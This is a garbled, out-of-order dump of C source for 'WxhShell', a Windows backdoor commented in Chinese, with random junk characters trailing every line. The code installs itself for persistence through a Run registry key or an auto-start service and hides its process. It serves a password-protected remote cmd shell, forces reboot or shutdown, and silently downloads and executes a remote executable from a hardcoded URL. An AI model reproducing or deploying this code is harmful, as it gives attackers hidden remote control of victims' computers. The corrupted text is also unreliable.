  case 'd': { 1NO<K`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *v'&i) J  
    if(Boot(SHUTDOWN)) q|,I\H5}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %d+:0.+`n  
    else { jfyV9)  
    closesocket(wsh); f[n#Eu}   
    ExitThread(0); IKM=Q. 7j  
    } <^&NA<2  
    break; R1z\b~@"  
    } K1Tq7/N  
  // 获取shell ;l_%;O5  
  case 's': { ?op6_a-wm  
    CmdShell(wsh); jNN$/ZWm  
    closesocket(wsh); LSQ2pB2V  
    ExitThread(0); [8/E ;h  
    break; <CL0@?*i9  
  } D"F5-s7  
  // 退出 XljiK8q;%  
  case 'x': { N}wi<P:*)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x`^~|Q  
    CloseIt(wsh); .J3lo:  
    break; S @\Pki+n[  
    } aWVJx@f  
  // 离开 JBdZ]  
  case 'q': { 0@E[IDmp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \GeUX <Fl  
    closesocket(wsh); ^3QHB1I  
    WSACleanup(); +/q%29-k  
    exit(1); od |w)?16  
    break; &yzC\XdA  
        } x~xaE*r  
  } 3ug{1 M3  
  } TuphCu+Oh  
4YkH;!M>ji  
  // 提示信息 {4&G\2<^^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `gy]|gS#b  
} -p`hevRr  
  } KcVCA    
w,]cFT  
  return; ,,oiL  
} Vw=eC"  
=^4 vz=2  
// shell模块句柄 )`Tny]M  
int CmdShell(SOCKET sock) .:c^G[CQ^9  
{ 7|3Z+#|T  
STARTUPINFO si; ):eX*  
ZeroMemory(&si,sizeof(si)); *&>1A A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; St/Hv[H'[E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yt2_*K@rC  
PROCESS_INFORMATION ProcessInfo; eJ>(SkR:[  
char cmdline[]="cmd"; |sHIT<=m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _ Onsfv  
  return 0; 2EsKC)  
} zT0rvz1),M  
+o)S.a+7  
// 自身启动模式 n.,\Z(l|0  
int StartFromService(void) [i.2lt#]  
{ %MgQ.  
typedef struct R{kZKD=  
{ F<X)eO]tk  
  DWORD ExitStatus; nJ.p PzH2g  
  DWORD PebBaseAddress; InMeD[*^  
  DWORD AffinityMask; DqrS5!C  
  DWORD BasePriority; di`Ql._M  
  ULONG UniqueProcessId; t/HMJ  
  ULONG InheritedFromUniqueProcessId; L~Epd.,Dt  
}   PROCESS_BASIC_INFORMATION; :*#AJV)  
2|(J<H  
PROCNTQSIP NtQueryInformationProcess; GDP@M)~6*  
1=O Xi!G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bAt%^pc=y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^x %yIS  
~!j1</$_  
  HANDLE             hProcess; gA~BhDS  
  PROCESS_BASIC_INFORMATION pbi; u&".kk  
|vA3+kG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T5,/;e  
  if(NULL == hInst ) return 0; +"Ek? )?  
&fq-U5zH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Skl1%`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nqp%Z7G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p0? X R  
=&xamA)  
  if (!NtQueryInformationProcess) return 0; d~uK/R-KD  
=(K;z9OR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L{Epkay,{  
  if(!hProcess) return 0; :51Q~5k4  
P~iu|j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PX52a[wNDH  
"EF: +gi#"  
  CloseHandle(hProcess); A1Mr  
Jz 'm&mu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %I;ej{*c  
if(hProcess==NULL) return 0; Q<P],}?:  
]3xnq<  
HMODULE hMod; fXvJ3w(  
char procName[255]; TLl*gED  
unsigned long cbNeeded; )-#%  
Yn[y9;I{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8263  
A!H6$-W|p  
  CloseHandle(hProcess); KWCA9.w4q  
i0Qg[%{9#  
if(strstr(procName,"services")) return 1; // 以服务启动 IfeG"ua|  
-4Zf0r1u  
  return 0; // 注册表启动 _;W}_p}q{  
} W@AZ<(RI:  
1$?O5.X:  
// 主模块 j\f;zb?F  
int StartWxhshell(LPSTR lpCmdLine) Fl]$ql   
{ i;y<gm"  
  SOCKET wsl; G9:[W"P  
BOOL val=TRUE; ;" '` P[  
  int port=0; f8+($Ys  
  struct sockaddr_in door; Xl;u  
+ B%fp*  
  if(wscfg.ws_autoins) Install(); U%"c@%B0  
{$bAs9L  
port=atoi(lpCmdLine); iW+ZI6@  
5@P2Z]Q  
if(port<=0) port=wscfg.ws_port; mWsVOf>g  
?%i|].<-'  
  WSADATA data; 25t2tj@S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PbJn8o   
L,p5:EW8.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @sav8 ]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {[61LQ6V9  
  door.sin_family = AF_INET; vi["G7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .AH#D}m  
  door.sin_port = htons(port); ;t:B:4r(j  
"639oB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?lnX."eAdB  
closesocket(wsl); us"SM\X#  
return 1; uNxR#S  
} xV}E3Yj2#  
~ULuX"n  
  if(listen(wsl,2) == INVALID_SOCKET) { fBR,Oneo  
closesocket(wsl); (\e,,C%;  
return 1; QB'-`GwL  
} 8TD:~ee  
  Wxhshell(wsl);  ;iy]mPd  
  WSACleanup(); 73A1+2  
l6:k|hrm;  
return 0; D!Owm&We  
Ry,_ %j3  
} aU<0<Dx  
ow:c$Zq  
// 以NT服务方式启动 y;keOI!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ':R)i.TS  
{ iSUn}%YFz!  
DWORD   status = 0; /PE3>"|wE  
  DWORD   specificError = 0xfffffff; o_t2 Z  
\kF}E3~+#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eA$9)K1GO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J~V`"uo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e57}.pF^  
  serviceStatus.dwWin32ExitCode     = 0; IfF<8~~E  
  serviceStatus.dwServiceSpecificExitCode = 0; AH;0=<n  
  serviceStatus.dwCheckPoint       = 0; rOm)s'  
  serviceStatus.dwWaitHint       = 0; 7h<B:~(K  
b&"=W9(V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BLgmF E2  
  if (hServiceStatusHandle==0) return; Y 6K<e:Y  
dz5a! e [  
status = GetLastError();  4>uz'j<  
  if (status!=NO_ERROR) @C0{m7q  
{ ) 2wof(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I?c# T Rm  
    serviceStatus.dwCheckPoint       = 0; Y\(Q  
    serviceStatus.dwWaitHint       = 0; 1u:OzyJy  
    serviceStatus.dwWin32ExitCode     = status; # 5v 2`|)  
    serviceStatus.dwServiceSpecificExitCode = specificError; >(ku*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sl}bNzT#  
    return; :aV(i.LW  
  } u3R0_8 _.w  
"pa5+N&2-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #*BcO-N  
  serviceStatus.dwCheckPoint       = 0; QKL5! L9`  
  serviceStatus.dwWaitHint       = 0; #[ vmS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rtS(iD@B"  
} DM/J,q  
Qf6]qJa|  
// 处理NT服务事件,比如:启动、停止 ,}2M'DSWa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >:4}OylhM  
{ ld -c?  
switch(fdwControl) Vl5}m  
{ B=%cXW,  
case SERVICE_CONTROL_STOP:  :J`:Q3@  
  serviceStatus.dwWin32ExitCode = 0; l}j5EWe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oZHsCQ%  
  serviceStatus.dwCheckPoint   = 0; sw6]Bc  
  serviceStatus.dwWaitHint     = 0; A-aukJg9  
  { /k|y\'<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;JDn1(6  
  } ^*#5iT8/  
  return; tj;<Z.  
case SERVICE_CONTROL_PAUSE: NC)Iu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TFb9gOTJ  
  break; 51;V#@CsQ  
case SERVICE_CONTROL_CONTINUE: X@:pys 8@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9n]z h-  
  break; eL JW  
case SERVICE_CONTROL_INTERROGATE: _Ft4F`pM  
  break; U 3aY =8B  
}; @\e2Q& O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d&&^_0O  
} 4ZrX= e,  
hC4##pAa  
// 标准应用程序主函数 rbS67--]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (s4w0z  
{ %*>=L$A  
!e*Q2H+  
// 获取操作系统版本 Pni  
OsIsNt=GetOsVer(); t%Vc1H2}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $`(}ygmP  
" |[w.`  
  // 从命令行安装 F<Js"z+  
  if(strpbrk(lpCmdLine,"iI")) Install(); cW4:eh  
0(VAmb%{  
  // 下载执行文件 &Ey5 H?U!  
if(wscfg.ws_downexe) { -'QvUHL|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~ J^Gzl  
  WinExec(wscfg.ws_filenam,SW_HIDE); !FX0Nx=oi  
} 1q]V/V}  
|&`NB|  
if(!OsIsNt) { }]$%aMxy T  
// 如果时win9x,隐藏进程并且设置为注册表启动 AWsO? |YT  
HideProc(); qX^#fk7]  
StartWxhshell(lpCmdLine); }26?bd@e`  
} sXDS_Q  
else 7tP?([o%F  
  if(StartFromService()) 9G_bM(q'^2  
  // 以服务方式启动 8VQJUwf;  
  StartServiceCtrlDispatcher(DispatchTable); Gu}|CFL\  
else /.9j$iK#  
  // 普通方式启动  ;)s$Et%  
  StartWxhshell(lpCmdLine); wkOo8@J\  
6+u}'mSj8  
return 0; lM`M70~  
} _tTtq/z<  
}-?_c#G 3  
 }&BE*U8_  
VC5LxA0{  
=========================================== j9)P3=s  
NNLZ38BV7  
:0|]cHm  
-CtLL _I  
,l^; ZE  
}R4%%)j(Vj  
" p \A^kX^5  
o%XAw   
#include <stdio.h> kW0|\  
#include <string.h> DP ,owk  
#include <windows.h> c ]M!4.  
#include <winsock2.h> ~XQj0'  
#include <winsvc.h> fgIzT!fyz  
#include <urlmon.h> va F^[/ (g  
= Ryh@X&  
#pragma comment (lib, "Ws2_32.lib") M]4qS('[  
#pragma comment (lib, "urlmon.lib") ,r~pf (nz  
" 2A`M~  
#define MAX_USER   100 // 最大客户端连接数 4Xt.}S!  
#define BUF_SOCK   200 // sock buffer (jd)sf6Tj[  
#define KEY_BUFF   255 // 输入 buffer "| cNY_$&s  
Q xZYy}2  
#define REBOOT     0   // 重启 1)yEx1  
#define SHUTDOWN   1   // 关机 <wWZ]P 2]  
#=C!Xx&  
#define DEF_PORT   5000 // 监听端口 H_RV#BW&  
r'0IAJ-;  
#define REG_LEN     16   // 注册表键长度 |YCGWJaci  
#define SVC_LEN     80   // NT服务名长度 _^K)>  
Y '7f"W  
// 从dll定义API .|W0B+Z8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UJ0fYTeuI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2yZ/'}Mw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J&Ig%&/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1bjhEO W  
VqGmZ|+8  
// wxhshell配置信息 [&12`!;j  
struct WSCFG { dd1CuOd6(1  
  int ws_port;         // 监听端口 Xi"+{6  
  char ws_passstr[REG_LEN]; // 口令 y"zgpqJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no Wy1#K)LRb  
  char ws_regname[REG_LEN]; // 注册表键名 =)_9GO  
  char ws_svcname[REG_LEN]; // 服务名 v"wxHro  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V&nTf100  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s zBlyT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p1~u5BE7O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z}?*1c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t8SvU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^6R Sbi\  
<[iw1>  
}; ,liFo.kT8%  
tFlLKziU  
// default Wxhshell configuration A"|y<  
struct WSCFG wscfg={DEF_PORT, 3"v k$  
    "xuhuanlingzhe", 99 W-sV  
    1, bu[PQsT  
    "Wxhshell", NQB a+N  
    "Wxhshell", }E[u" @}  
            "WxhShell Service", dL{zU4iUR  
    "Wrsky Windows CmdShell Service", *B<Ig^c  
    "Please Input Your Password: ", RNa59b  
  1, M"XILNV-~  
  "http://www.wrsky.com/wxhshell.exe", p@B/S(Xi  
  "Wxhshell.exe" Vyy;mEBg  
    }; w=e_@^Fkx  
73/DOF  
// 消息定义模块 kH;DAphk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VycC uq&M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jhRg47A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h"C7l#u  
char *msg_ws_ext="\n\rExit."; ^:krfXT  
char *msg_ws_end="\n\rQuit."; +M )ep\j  
char *msg_ws_boot="\n\rReboot..."; *[VO03  
char *msg_ws_poff="\n\rShutdown..."; n8h1S lK08  
char *msg_ws_down="\n\rSave to "; MTnW5W-r9  
)I~U&sT\/  
char *msg_ws_err="\n\rErr!"; R7'6#2y  
char *msg_ws_ok="\n\rOK!"; g5",jTn#  
-4 *94<  
char ExeFile[MAX_PATH]; e6G=Bq$  
int nUser = 0; pJg'$iR!/  
HANDLE handles[MAX_USER]; u92);1R  
int OsIsNt; qS8p)pw  
ig-V^P  
SERVICE_STATUS       serviceStatus; `(- nSQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Np2I*l6W  
,Yp+&&p.  
// 函数声明 8m prK`p  
int Install(void); &*Sgyk o`  
int Uninstall(void); ;+ -@AYl  
int DownloadFile(char *sURL, SOCKET wsh); S['rfD>9  
int Boot(int flag); B|\JGnNQ  
void HideProc(void); m8jQ~OS  
int GetOsVer(void); ]VKM3[   
int Wxhshell(SOCKET wsl); tfKf*Um  
void TalkWithClient(void *cs); LqYP0%7  
int CmdShell(SOCKET sock); wOMrUWB0  
int StartFromService(void); Tasmbo^mAF  
int StartWxhshell(LPSTR lpCmdLine); 95XQ?%  
w}20l F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h+\+9^l6|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~nP~6Q'wSH  
@PQ% xcOC7  
// 数据结构和表定义 Os90fR  
SERVICE_TABLE_ENTRY DispatchTable[] = kA.U2  
{ lmGVSdo   
{wscfg.ws_svcname, NTServiceMain}, m{v*\e7 P  
{NULL, NULL} 5SB!)F]   
}; R^p'gQc$   
\X*Es.;|x  
// 自我安装 p&s~O,Bw$  
int Install(void) TmS-w  
{ 4Eri]O Ri  
  char svExeFile[MAX_PATH]; ^ gMkQYo(#  
  HKEY key; WX-J4ieL  
  strcpy(svExeFile,ExeFile); f]_{4Olk  
=%)Y, )"  
// 如果是win9x系统,修改注册表设为自启动 =~DQX\  
if(!OsIsNt) { 5n0B`A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sux/='  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gR\z#Sg  
  RegCloseKey(key); aAbK{=/y_!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &g.do?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cko^_V&x  
  RegCloseKey(key); wB(X(nr  
  return 0; !&eKq?P{j  
    } 7Mj:bm&9  
  } o){\qhLp  
} xCQLfXK7  
else { *2T"lpl  
G(3wI}  
// 如果是NT以上系统,安装为系统服务 )K}-z+$)k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mfW}^mu  
if (schSCManager!=0) q+Ec|Xd e  
{ b)[2t^zG  
  SC_HANDLE schService = CreateService mG*ER^Y@D  
  ( ez-jVi-Fi  
  schSCManager, q\$k'(k>35  
  wscfg.ws_svcname, m ?e::W  
  wscfg.ws_svcdisp, C>:,\=y%  
  SERVICE_ALL_ACCESS, tH)fu%:p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u*S-Pji,x  
  SERVICE_AUTO_START, 5Ic'6AIz  
  SERVICE_ERROR_NORMAL, Bjp4:;Bb  
  svExeFile, ~Fe$/*v  
  NULL, <-h[I&."  
  NULL, {y%|Io`P  
  NULL, '>^!a!<G  
  NULL, h}U>K4BJ  
  NULL t?(fDWd|-  
  ); 3sK^ (  
  if (schService!=0) dFl8'D  
  { uqsVq0H  
  CloseServiceHandle(schService); .WVIdVO7  
  CloseServiceHandle(schSCManager); r [E4/?_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'Ul^V  
  strcat(svExeFile,wscfg.ws_svcname); lD#S:HX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g7;OZ#\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iBt<EM]U/  
  RegCloseKey(key); ]~@uStHn  
  return 0; 7PW7&]-WQ  
    } Pr_DMu  
  } .Cu0G1  
  CloseServiceHandle(schSCManager);  u*m|o8  
} d6XdN  
} j0~ dJ#  
)tv~N7  
return 1; |4j'KM;U  
} bIXD(5y  
RgD%pNhI  
// 自我卸载 3(,c^F  
int Uninstall(void) bs_< UE  
{ %D49A-R  
  HKEY key; Y_FQB K U  
5|A"YzY#  
if(!OsIsNt) { xqpq|U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z^o7&\:  
  RegDeleteValue(key,wscfg.ws_regname); tPb<*{eG  
  RegCloseKey(key); 2[CHiB*>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rM`z2*7%d  
  RegDeleteValue(key,wscfg.ws_regname); H-qbgd6&>R  
  RegCloseKey(key); "!R*f $  
  return 0; aQj"FUL  
  } pHzl/b8  
} v[\GhVb  
} {yFMY?6rf  
else { *pYawT  
P#9Pq,I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `Ip``I#A  
if (schSCManager!=0) "9IR|  
{ %x8vvcO^t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); juA}7   
  if (schService!=0) #!C|~=  
  { |F +n7  
  if(DeleteService(schService)!=0) { }\QXPU{UVd  
  CloseServiceHandle(schService); tN;^{O-(V  
  CloseServiceHandle(schSCManager); uBw[|,yn2*  
  return 0; GA"vJFQ  
  } }Xb|Ur43  
  CloseServiceHandle(schService); Ch)E:Dvq6  
  } ^ f[^.k$3d  
  CloseServiceHandle(schSCManager); Xdh@ ^`  
} }O\g<ke:u  
} 8:U0M'}u>  
XEUS)X)  
return 1; G_}oI|B  
} @QDUz>_y  
69 J4p=c,  
// 从指定url下载文件 (ZP e{;L.  
int DownloadFile(char *sURL, SOCKET wsh) p.5 *`, )  
{ %reW/;)l{  
  HRESULT hr; I5E5,{  
char seps[]= "/"; OI:T#uk5  
char *token; [$M l;K  
char *file; rIX 40,`  
char myURL[MAX_PATH]; Q6n8,2*  
char myFILE[MAX_PATH]; [6?x 6_M  
}Qh%Z)  
strcpy(myURL,sURL); 2<*Yq 8  
  token=strtok(myURL,seps); Ls*Vz,3!5  
  while(token!=NULL) D=)qd@,K  
  { d>/4z#R}-  
    file=token; r#d]"3tH  
  token=strtok(NULL,seps); D"K! ELGW  
  } !v*#E{r"g=  
2|`~3B)#  
GetCurrentDirectory(MAX_PATH,myFILE); "WqM<kLa  
strcat(myFILE, "\\"); /x /W>J2  
strcat(myFILE, file); eTt{wn;6  
  send(wsh,myFILE,strlen(myFILE),0); hP/uS%X   
send(wsh,"...",3,0); `Mo%)I<`=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fVq,?  
  if(hr==S_OK) K,*IfHi6[  
return 0; th=45y"C  
else z=LO$,JW`  
return 1; eh*F/Gu  
^1ks`1  
} )Y?E$=M +B  
$-)y59w"  
// 系统电源模块 $'lJ_ jL  
int Boot(int flag) }80n5 X<9  
{ FFH {#|_1  
  HANDLE hToken; =IIE]<z  
  TOKEN_PRIVILEGES tkp; E} ]SGU"  
hy:K) _  
  if(OsIsNt) { U4Pk^[,p1G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VE/~tT;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m>b i$Y  
    tkp.PrivilegeCount = 1; s_,&"->  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B^1Io9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U3w*z6OG  
if(flag==REBOOT) { <7X+-%yb;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %;G!gJeE  
  return 0; 3lNw*M|")  
} i4 tW8 Il  
else { dGc>EZSdj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \y/+H  
  return 0; g/,O51f'  
} +'I8COoiv%  
  } B Zw#ACU  
  else { E9[8th,t  
if(flag==REBOOT) { jdVdz,Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dnTXx*I:  
  return 0; ^F1zkIE  
} \'N|1!EO|t  
else { fI0L\^b%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VAR/"  
  return 0; 6_a.`ehtj<  
} ~LzTqMHM  
} gM3gc;  
^SRa!8z$W  
return 1; v]27+/a$c  
} L9U<E $%#  
<`m.Vbvm"  
// win9x进程隐藏模块 [G|2m_  
void HideProc(void) X]*W +  
{ B[MZ Pv)  
Bj7\{x,?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -nT+!3A8  
  if ( hKernel != NULL ) UoxF00H@!  
  { s ^{j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Jq`fD~(7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V1;Qt-i  
    FreeLibrary(hKernel); ,K6]Q|U@r  
  } {1YT a:evl  
Vd^`Hv&i  
return; 73(T+6`  
} "$8<\k$LGT  
et]*5Y6  
// 获取操作系统版本 bvR*sT#rg  
int GetOsVer(void) $Y0bjS2J  
{ M+^K,  
  OSVERSIONINFO winfo; #(*WxVE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6YU2  !x  
  GetVersionEx(&winfo); C5RDP~au  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uf)W? `e~  
  return 1; Lou4M  
  else .^.UJo;4G  
  return 0; 90aPIs-  
} 1,`x1dcO!A  
%dT%r=%Y  
// 客户端句柄模块 Pjb9FCA'  
int Wxhshell(SOCKET wsl) Azz]TO  
{ L}a3!33)C  
  SOCKET wsh; IL:"]`f*  
  struct sockaddr_in client; A1ebXXD )  
  DWORD myID; W@$p'IBwm  
(\/HGxv  
  while(nUser<MAX_USER) v|,Hd  
{ v V^GIWK  
  int nSize=sizeof(client); c[y=K)<Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FVQWz[N  
  if(wsh==INVALID_SOCKET) return 1; %#QFu/l  
v,i:vT\~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kdYl>M  
if(handles[nUser]==0) #1bgV  
  closesocket(wsh); g&E_|}u4  
else M9OFK\)  
  nUser++; T*T.\b  
  } dju&Ku  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {M~!?# <K  
8:xQPd?3  
  return 0; o"1us75P  
} }lb.3fqiA  
#Aanv  
// 关闭 socket 0~1P&Qs<  
void CloseIt(SOCKET wsh) VDmd+bvJV  
{ c\b>4 &n  
closesocket(wsh); !Z'm@,+  
nUser--; +li^0+3-'  
ExitThread(0); ( L6`_)  
} #*]= %-A  
`A^} X  
// 客户端请求句柄 -<O:isB   
void TalkWithClient(void *cs) zuPH3Q={  
{ KnFbRhu[  
#EM'=Q%TO  
  SOCKET wsh=(SOCKET)cs; #129 i2  
  char pwd[SVC_LEN]; v/haUPWF\  
  char cmd[KEY_BUFF]; |B`tRq  
char chr[1]; ?GC0dN  
int i,j; jw[`_  
O46/[{p+8  
  while (nUser < MAX_USER) { Elq8WtS  
4QVd{  
if(wscfg.ws_passstr) { M1M]]fT0ME  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -)I_+N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,/ : )FV  
  //ZeroMemory(pwd,KEY_BUFF); t3XMQ']  
      i=0; zLn#p]  
  while(i<SVC_LEN) { nz',Zm},  
sq^"bLw  
  // 设置超时 -/qrEKQ0U?  
  fd_set FdRead; W[m_IY  
  struct timeval TimeOut; O&s6blD11  
  FD_ZERO(&FdRead); X>6a@$MxP  
  FD_SET(wsh,&FdRead); _# F'rl6'  
  TimeOut.tv_sec=8; uR%H"f  
  TimeOut.tv_usec=0; <FK><aA_i*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); By_Ui6:D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  e.GzGX  
D?'y)](  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h5gXYmk  
  pwd=chr[0]; 9 $S,P|  
  if(chr[0]==0xd || chr[0]==0xa) { j&pgq2Kl  
  pwd=0; .2P?1HpK  
  break; 6J*`<k/ S  
  } Y"jDZG?  
  i++; aS7zG2R4H  
    } GT.^u#r  
}a1UOScO0  
  // 如果是非法用户,关闭 socket 1m)/_y~1 k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WI,=?~-   
} 80EY7#r@w  
l!=WqIZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;R!H\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `IoX'|C[h  
zef,*dQY   
while(1) { & B4U)  
w3Ohm7N[  
  ZeroMemory(cmd,KEY_BUFF); ]>L]?Rm  
K5lp -F  
      // 自动支持客户端 telnet标准   l}2WW1b(  
  j=0; ;^*!<F%t9R  
  while(j<KEY_BUFF) { @^%_ir(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v^pP& <G  
  cmd[j]=chr[0]; kI'A` /B l  
  if(chr[0]==0xa || chr[0]==0xd) { `[\phv  
  cmd[j]=0; ^-!HbbVv  
  break; [VW;L l  
  } zFr}$  
  j++; 9%qMZP0]  
    } Mg$9'a"[\  
>i%w'uU  
  // 下载文件 t>2^!vl  
  if(strstr(cmd,"http://")) { | dwxea  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VWv0\:,G  
  if(DownloadFile(cmd,wsh)) ? ^CGJ1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 72zuI4&  
  else A%1=6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MGz F+ln^U  
  } )''wu\7A)'  
